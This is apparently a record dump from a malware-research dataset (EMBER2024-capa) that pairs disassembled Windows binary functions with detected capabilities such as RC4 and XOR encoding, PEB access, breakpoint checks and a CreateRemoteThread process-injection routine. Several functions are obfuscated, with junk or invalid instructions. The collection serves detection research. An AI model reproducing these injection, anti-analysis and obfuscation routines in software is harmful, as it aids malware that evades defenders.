joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1010ba37
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.100ffe20
xor ebx, ebx
cmp dword [0x102bedb4], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x1010bb0d
push 0x1017031c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x1010bbed
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x10170310
push edi
call esi
cmp eax, ebx
je 0x1010bbed
push eax
call fcn.100ffdb2
mov dword [esp], 0x10170300
push edi
mov dword [0x102bedb4], eax
call esi
push eax
call fcn.100ffdb2
mov dword [esp], 0x101702ec
push edi
mov dword [0x102bedb8], eax
call esi
push eax
call fcn.100ffdb2
mov dword [0x102bedbc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.100fabdc
test eax, eax
pop ecx
pop ecx
je 0x1010badb
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.100f6076
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x1010bb0d
push 0x101702d0
push edi
call esi
push eax
call fcn.100ffdb2
cmp eax, ebx
pop ecx
mov dword [0x102bedc4], eax
je 0x1010bb0d
push 0x101702b8
push edi
call esi
push eax
call fcn.100ffdb2
pop ecx
mov dword [0x102bedc0], eax
mov eax, dword [0x102bedc0]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x1010bb92
cmp dword [0x102bedc4], ecx
je 0x1010bb92
push eax
call fcn.100ffe29
push dword [0x102bedc4]
mov esi, eax
call fcn.100ffe29
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x1010bb92
cmp edi, ebx
je 0x1010bb92
call esi
cmp eax, ebx
je 0x1010bb5f
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1010bb5f
test byte [ebp - 0x18], 1
jne 0x1010bb92
lea eax, [ebp - 0x10]
push eax
call fcn.100fac13
test eax, eax
pop ecx
je 0x1010bb7a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.100f6076
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x1010bb89
or dword [ebp + 0x10], 0x200000
jmp 0x1010bbcd
or dword [ebp + 0x10], 0x40000
jmp 0x1010bbcd
mov eax, dword [0x102bedb8]
cmp eax, dword [ebp - 8]
je 0x1010bbcd
push eax
call fcn.100ffe29
cmp eax, ebx
pop ecx
je 0x1010bbcd
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1010bbcd
mov eax, dword [0x102bedbc]
cmp eax, dword [ebp - 8]
je 0x1010bbcd
push eax
call fcn.100ffe29
cmp eax, ebx
pop ecx
je 0x1010bbcd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x102bedb4]
call fcn.100ffe29
cmp eax, ebx
pop ecx
je 0x1010bbed
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1010bbef
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10112273
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x101a42b4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.10112208
mov eax, 0x10000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.100f4ed0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x101122c2
cmp dword [ebp - 0x1c], 5
jb 0x101122da
jmp 0x101122d6
cmp dword [ebp - 0x10], 1
jne 0x101122da
cmp dword [ebp - 0x1c], 4
ja 0x101122d6
jne 0x101122da
cmp dword [ebp - 0x18], 0
jbe 0x101122da
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x10170420
call fcn.10001ab0
test eax, eax
jge 0x101122fb
mov byte [0x101a5c20], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100f43d6
add ebp, 0x78
leave
ret

Function at 0x10113ed0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10156c08
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
mov eax, dword [0x101a42b4]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov eax, dword [esp + 0x24]
test eax, eax
mov dword [esp + 0xc], eax
sete al
mov dword [esp + 8], 0x1017052c
mov byte [esp + 0x10], al
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
push edx
mov edx, dword [esp + 0x2c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x2c], 0
call fcn.101135e0
mov bl, al
mov eax, dword [esp + 0xc]
test eax, eax
mov dword [esp + 8], 0x1017052c
je 0x10113f50
cmp byte [esp + 0x10], 0
je 0x10113f50
push eax
call fcn.100f5594
add esp, 4
mov al, bl
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop ebx
add esp, 0x18
ret 0x10
Function at 0x1011a150
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x324
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, dword [eax + 0x14]
push esi
push edi
call edx
mov esi, dword [ebp + 0xc]
mov ecx, 0xc1
lea edi, [esp + 0x28]
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], 0
rep movsd dword es:[edi], dword [esi]
mov byte [esp + 0xe], 1
lea ebx, [ebx]
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov edx, dword [eax + 8]
push 1
push 1
lea ecx, [esp + 0x17]
push ecx
mov ecx, esi
call edx
cmp eax, 1
jne 0x1011a357
cmp byte [esp + 0xe], 0
mov al, byte [esp + 0xf]
jne 0x1011a1bd
test al, al
jne 0x1011a190
cmp al, 0x21
je 0x1011a34a
cmp al, 0x2c
je 0x1011a1da
cmp al, 0x3b
je 0x1011a357
test al, al
sete byte [esp + 0xe]
jmp 0x1011a190
mov eax, dword [esi]
mov edx, dword [eax + 8]
push 1
push 9
lea ecx, [esp + 0x18]
push ecx
mov ecx, esi
call edx
mov eax, dword [esp + 0x10]
push eax
mov ecx, ebx
call fcn.101144e0
mov ecx, dword [esp + 0x12]
push ecx
mov ecx, ebx
mov word [esp + 0x14], ax
call fcn.101144e0
mov edx, dword [esp + 0x14]
push edx
mov ecx, ebx
mov word [esp + 0x16], ax
call fcn.101144e0
mov word [esp + 0x14], ax
mov eax, dword [esp + 0x16]
push eax
mov ecx, ebx
call fcn.101144e0
mov ecx, dword [ebp + 0x10]
cmp word [ecx + 6], 0
mov dx, word [esp + 0x14]
mov word [esp + 0x16], ax
jne 0x1011a24e
cmp word [ecx + 8], 0
jne 0x1011a24e
mov word [ecx + 6], dx
mov word [ecx + 8], ax
movzx edi, word [esp + 0x10]
movzx ecx, word [ecx + 6]
movzx edx, dx
add edx, edi
cmp edx, ecx
jg 0x1011a190
movzx ecx, word [esp + 0x12]
movzx edx, ax
add edx, ecx
mov ecx, dword [ebp + 0x10]
movzx ecx, word [ecx + 8]
cmp edx, ecx
jg 0x1011a190
movzx ecx, byte [esp + 0x18]
add dword [esp + 0x1c], 1
test cl, cl
jns 0x1011a2be
mov edx, dword [esi]
mov edx, dword [edx + 8]
and ecx, 7
add ecx, 1
mov eax, 1
shl eax, cl
push 1
lea ecx, [esp + 0x30]
mov word [esp + 0x2e], ax
movsx eax, ax
lea eax, [eax + eax*2]
push eax
push ecx
mov ecx, esi
call edx
movzx ecx, byte [esp + 0x18]
mov ax, word [esp + 0x16]
xor edx, edx
movzx eax, ax
and ecx, 0x40
mov dword [ebx + 0x1dc], ecx
mov dword [ebx + 0x1e8], eax
mov dword [esp + 0x20], edx
mov dword [ebx + 0x1f0], 0x4000
mov dword [ebx + 0x1e4], 8
mov dword [ebx + 0x1e0], edx
mov dword [ebx + 0x1ec], edx
mov edx, dword [esi]
mov eax, dword [edx + 0x14]
mov ecx, esi
call eax
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
push 0
push esi
mov ecx, ebx
mov edi, eax
call fcn.10119970
cmp dword [esp + 0x20], 0
je 0x1011a32a
push edi
push esi
mov ecx, ebx
call fcn.10119cb0
jmp 0x1011a190
mov ecx, dword [ebx + 0x1f0]
sub ecx, dword [ebx + 0x1f4]
mov eax, dword [esi]
mov edx, dword [eax + 0x10]
add ecx, 1
push 1
push ecx
mov ecx, esi
call edx
jmp 0x1011a190
push esi
mov ecx, ebx
call fcn.10119010
jmp 0x1011a190
mov ecx, dword [esp + 0x24]
mov eax, dword [esi]
mov edx, dword [eax + 0x10]
push 0
push ecx
mov ecx, esi
call edx
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1011b310
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 8]
push ebp
push esi
mov esi, ecx
mov ecx, dword [esp + 0xc]
mov dword [esi + 0xf864], eax
mov dword [esi + 0xf860], ecx
mov dword [esi + 0xf854], ecx
mov edx, 1
shl edx, cl
add ecx, 0xffffffff
mov eax, 1
shl eax, cl
push edi
xor edi, edi
sub edx, 1
mov dword [esi + 0xf868], eax
add eax, 1
mov dword [esi + 0xf86c], eax
mov ax, word [esi + 0xf868]
add ax, 2
mov ecx, esi
mov dword [esi + 0xf85c], edi
mov dword [esi + 0x1d8], edi
mov dword [esi + 0x1d4], edi
mov word [esi + 0xf858], dx
mov word [esi + 0xf85a], ax
mov dword [esi + 0xf870], edi
call fcn.101195e0
mov dword [esp + 0x10], eax
xor ecx, ecx
mov eax, 0x138b
jmp 0x1011b3a0
add eax, eax
add ecx, 1
cmp eax, 0x10000
jl 0x1011b3a0
mov eax, 8
sub eax, ecx
push 0x138b
mov ecx, esi
mov dword [esp + 0x18], eax
call fcn.10119670
movzx ecx, word [esi + 0xf868]
push ecx
mov ecx, esi
call fcn.1011ae40
mov ecx, esi
call fcn.101195e0
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1011b4e4
push ebx
mov ecx, dword [esp + 0x18]
movsx edi, bp
shl edi, cl
mov ebx, ebp
shl ebx, 0xc
add ebx, dword [esp + 0x14]
xor edi, dword [esp + 0x14]
mov ecx, dword [esi + edi*4 + 0x8310]
cmp ecx, ebx
lea eax, [esi + edi*4 + 0x8310]
jne 0x1011b41e
movzx edx, word [esi + edi*2 + 0xd13c]
mov dword [esp + 0x14], edx
jmp 0x1011b4d1
test ecx, ecx
jl 0x1011b456
mov ecx, 0x138b
sub ecx, edi
test edi, edi
jne 0x1011b432
mov ecx, 1
lea edx, [ecx*4]
sub edi, ecx
sub eax, edx
test edi, edi
jge 0x1011b44c
add edi, 0x138b
add eax, 0x4e2c
mov edx, dword [eax]
cmp edx, ebx
je 0x1011b48c
test edx, edx
jg 0x1011b432
mov ecx, dword [esp + 0x14]
push ecx
mov ecx, esi
call fcn.1011ae40
movzx eax, word [esi + 0xf85a]
cmp ax, 0x1000
mov dword [esp + 0x14], ebp
jge 0x1011b49a
mov word [esi + edi*2 + 0xd13c], ax
add word [esi + 0xf85a], 1
mov dword [esi + edi*4 + 0x8310], ebx
jmp 0x1011b4d1
movzx eax, word [esi + edi*2 + 0xd13c]
mov dword [esp + 0x14], eax
jmp 0x1011b4d1
push 0x138b
mov ecx, esi
call fcn.10119670
movzx eax, word [esi + 0xf868]
mov dx, word [esi + 0xf868]
add dx, 2
push eax
mov ecx, esi
mov word [esi + 0xf85a], dx
mov dword [esi + 0xf85c], 1
call fcn.1011ae40
mov ecx, esi
call fcn.101195e0
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x1011b3e5
pop ebx
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, esi
call fcn.1011ae40
movzx edx, word [esi + 0xf86c]
push edx
mov ecx, esi
call fcn.1011ae40
pop edi
pop esi
pop ebp
ret 8
Function at 0x10133d40
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x10133d6f
push esi
call fcn.101344d0
add esp, 4
cmp byte [esi + 0x40], 0
je 0x10133d68
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x10133dea
mov eax, dword [esi + 0x190]
cmp byte [eax + 0x10], 0
je 0x10133dda
mov eax, dword [esi + 8]
test eax, eax
je 0x10133d94
mov ecx, dword [eax]
push esi
call ecx
add esp, 4
mov edx, dword [esi + 0x190]
mov eax, dword [edx]
push esi
call eax
add esp, 4
test eax, eax
je 0x10133dd6
cmp eax, 2
je 0x10133dda
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x10133d85
cmp eax, 3
je 0x10133dbc
cmp eax, 1
jne 0x10133d85
add dword [ecx + 4], 1
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
cmp ecx, dword [eax + 8]
jl 0x10133d85
mov edx, dword [esi + 0x11c]
add dword [eax + 8], edx
jmp 0x10133d85
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov dword [esi + 0x84], eax
call fcn.10133bd0
pop esi
ret
cmp eax, 0xcc
je 0x10133e0c
mov ecx, dword [esi]
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call edx
add esp, 4
call fcn.10133bd0
pop esi
ret
Function at 0x1013c7b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x14
push esi
push edi
mov edi, dword [esp + 0x20]
cmp dword [edi + 0x4c], 1
mov esi, dword [edi + 0x1a8]
mov dword [esp + 0x18], esi
jne 0x1013c7d7
mov dword [esp + 8], 0x1fe
mov byte [esi + 0x1c], 1
jmp 0x1013c7e3
mov dword [esp + 8], 0
mov byte [esi + 0x1c], 0
mov ecx, dword [edi + 0x64]
mov edx, dword [esp + 8]
mov eax, dword [edi + 4]
mov eax, dword [eax + 8]
push ecx
add edx, 0x100
push edx
push 1
push edi
call eax
xor ecx, ecx
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
add esp, 0x10
cmp dword [edi + 0x64], ecx
mov dword [esp + 0xc], ecx
jle 0x1013c8ef
push ebx
lea edx, [esi + 0x20]
push ebp
mov dword [esp + 0x18], edx
jmp 0x1013c82c
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ebp, dword [edx]
cdq
idiv ebp
cmp dword [esp + 0x10], 0
mov dword [esp + 0x1c], eax
je 0x1013c84d
mov eax, dword [esi + 0x18]
add dword [eax + ecx*4], 0xff
lea eax, [eax + ecx*4]
mov edx, dword [esi + 0x18]
mov edi, dword [edx + ecx*4]
add ebp, 0xffffffff
mov ecx, ebp
xor eax, eax
xor ebx, ebx
call fcn.1013c620
mov ecx, eax
xor esi, esi
cmp esi, ecx
jle 0x1013c882
lea esp, [esp]
add ebx, 1
mov ecx, ebp
mov eax, ebx
call fcn.1013c620
mov ecx, eax
cmp esi, ecx
jg 0x1013c870
mov al, byte [esp + 0x1c]
imul bl
mov byte [esi + edi], al
add esi, 1
cmp esi, 0xff
jle 0x1013c865
cmp dword [esp + 0x10], 0
je 0x1013c8d0
mov eax, 1
lea ecx, [edi - 1]
jmp 0x1013c8b0
movzx edx, byte [edi]
mov byte [ecx], dl
movzx edx, byte [edi + 0xff]
mov byte [edi + eax + 0xff], dl
add eax, 1
sub ecx, 1
cmp eax, 0xff
jle 0x1013c8b0
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x28]
add dword [esp + 0x18], 4
add eax, 1
cmp eax, dword [ecx + 0x64]
mov dword [esp + 0x14], eax
jl 0x1013c820
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x14
ret
Function at 0x102f7473
Capabilities:
Get number of processors

Disassembly:
jmp 0x102eb794
call fcn.102eb77f
salc
arpl word [ebp - 0x79], cx
loop 0x102eb78a
adc eax, 0x24748b56
add al, 0x8d
mov dh, 0xd4
adc byte [edx], al
add byte [ecx + 0x5e042474], cl
push edx
mov dword [esp], ebp
push esp
pop ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 0x80
xchg dword [esp], ebp
pop esp
sub esp, 4
mov dword [esp], ebx
push edi
mov dword [esp], esi
push 0x188b
mov dword [esp], edi
jmp 0x103113b3
push ebx
mov ebx, 8
add ebx, ebp
mov eax, dword [ebx]
pop ebx
sub esp, 4
mov dword [esp], eax
jmp 0x1030a1dd
jmp 0x102f6476
push 0
push 0x41797261
push 0x7262694c
push 0x64616f4c
lea ecx, [ebp - 0x2c]
sub esp, 4
mov dword [esp], ecx
jmp 0x10305856
push ecx
mov ecx, dword [esp + 4]
lea ecx, [ecx + 0x1983f]
mov dword [esp + 4], ecx
pop ecx
jmp 0x1030de32
jmp 0x1030586d
call fcn.10305858
adc byte [eax - 0x77], dl
loopne 0x1030587c
add al, 0
add byte [eax], al
add eax, 4
xchg dword [esp], eax
pop esp
rol byte [edi + eax*4], 4
and al, 0x5c
push eax
pop dword [ebp - 4]
push ecx
mov ecx, 0xc
add ecx, ebp
mov eax, dword [ecx]
pop ecx
push esi
mov dword [esp], eax
push dword [ebp - 4]
sub dword [esp], 0x3f8325ed
pop ecx
add ecx, 0x3f8325ed
push esi
mov dword [esp], ecx
push eax
mov eax, 8
add eax, ebp
mov edx, dword [eax]
pop eax
push eax
mov eax, 0x64
add edx, eax
pop eax
push ebx
mov dword [esp], edx
jmp 0x102eb77d
jmp 0x1030a1f4
call fcn.1030a1df
or eax, dword [ebp + 0x68]
mov byte [eax], 0
jmp 0x102ebbce
push esi
mov esi, 0x6114390f
xor esi, 0x61143917
mov eax, esi
pop esi
mov eax, dword fs:[eax]
push eax
pop dword [ebp - 4]
push dword [ebp - 4]
pop eax
push dword [eax + 0x30]
sub dword [esp], 0x63f80c4b
pop ecx
add ecx, 0x63f80c4b
push eax
mov eax, 0xfffffff8
add eax, ebp
mov dword [eax], ecx
pop eax
push dword [ebp - 8]
pop edx
push ecx
mov ecx, 8
add ecx, edx
mov eax, dword [ecx]
pop ecx
push edx
mov edx, 0xffffffec
add edx, ebp
mov dword [edx], eax
pop edx
push ebx
mov ebx, 0
mov dword [ebp - 0x10], ebx
pop ebx
cmp dword [ebp - 0x10], 0
je 0x102ec698
jmp 0x102ed265

Function at 0x103166f2
Capabilities:
Access peb ldr_data

Disassembly:
push eax
mov eax, dword [esp + 4]
lea eax, [eax - 0x4e23]
mov dword [esp + 4], eax
pop eax
jmp 0x10305a70

Function at 0x10564ddb
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], ecx
cmp eax, 0x1000
lea ecx, [esp + 8]
jb 0x10564e39
jmp 0x10564df8
push ebx
mov ebx, 0x1000
sub ecx, ebx
pop ebx
push esi
mov esi, 0x42603735
add esi, 0x62b848ad
not esi
xor esi, 0xa3b2af6
xor esi, 0x5731f4a
shr esi, 4
xor esi, 0x55aeb5a
sub eax, esi
pop esi
test dword [ecx], eax
cmp eax, 0x1000
jae 0x10564df8
jmp 0x10564e39
sub ecx, 0x42861a21
sub ecx, eax
add ecx, 0x42861a21
push esp
pop eax
test dword [ecx], eax
mov esp, ecx
push dword [eax]
pop ecx
push dword [eax + 4]
xor dword [esp], 0x1d9f7243
pop eax
xor eax, 0x1d9f7243
push ecx
mov dword [esp], eax
ret
Function at 0x10003a70
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb0
push esi
push edi
push 0xa0
xor esi, esi
lea eax, [esp + 0x1c]
push esi
push eax
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [esp + 0x18], eax
mov eax, 0x1000
mov word [esp + 0xb0], ax
lea eax, [esp + 0xc]
mov dword [esp + 0x44], eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x4c], 0xc
call dword [sym.imp.KERNEL32.dll_GetNextVDMCommand]
test eax, eax
je 0x10003b09
push dword [esp + 0xc]
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10003b09
lea eax, [esp + 8]
push eax
movzx eax, word [ebp + 0xc]
push esi
push eax
push dword [esp + 0x20]
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10003b02
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10009186
Capabilities:
Encode data using xor

Disassembly:
call 0x100090ff
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1000912f
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1000914b
xor edx, 0
jmp 0x10009156
xor edx, edx
jmp 0x1000916d
jmp 0x10009179
xor eax, eax
push 0x8427d7c0
call 0x10009186
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100091c2
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1000919b
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100091d9
add eax, 0
jno 0x100091de
add esi, 0
ret 0x10
Function at 0x10009f47
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x10009f69
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1000a10b
cmp edi, dword [ebp + 0x10]
jb 0x1000a10b
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10009a33
inc edi
jmp 0x10009ff2
jmp 0x10009fff
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10009a33
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10009a33
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1000a053
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1000a037
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000a081
add dword [eax], 0x39
jle 0x1000a05d
sub al, 0xf5
mov ch, al
call fcn.1000a096
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1000bd6e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1000bd84
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1000bd95
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1000bdd6
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x1000e142
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1000e08b
add ebx, 0
push ecx
call 0x1000e0a0
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c9262a6
sub ebx, dword [0x6c945ae5]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c945ad5
call fcn.10009b6a
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.10009078
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1000e1fe
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1000e1fe
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1000e1b5
mov eax, 1
lock xchg dword [0x6c945ae1], eax
push 0x3dd1fc71
call 0x1000e142
push esi
add esp, 8
cmp eax, 0
jne 0x1000e12b
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1000e151
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1000e166
cmp ecx, edx
cmp eax, 0
je 0x1000e18b
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1000e175
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1000e1a4
dec eax
loope 0x1000e1a7
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c945ae1], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1000e1db
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1000e1f0
jmp 0x1000e1fb
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1000e0e9
Function at 0x10015263
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10015539
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c932759
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c92971f
push 0xffffffffffffffff
call fcn.1000c463
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100152cd
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100152e5
mov byte [0xee69f033], al
invalid
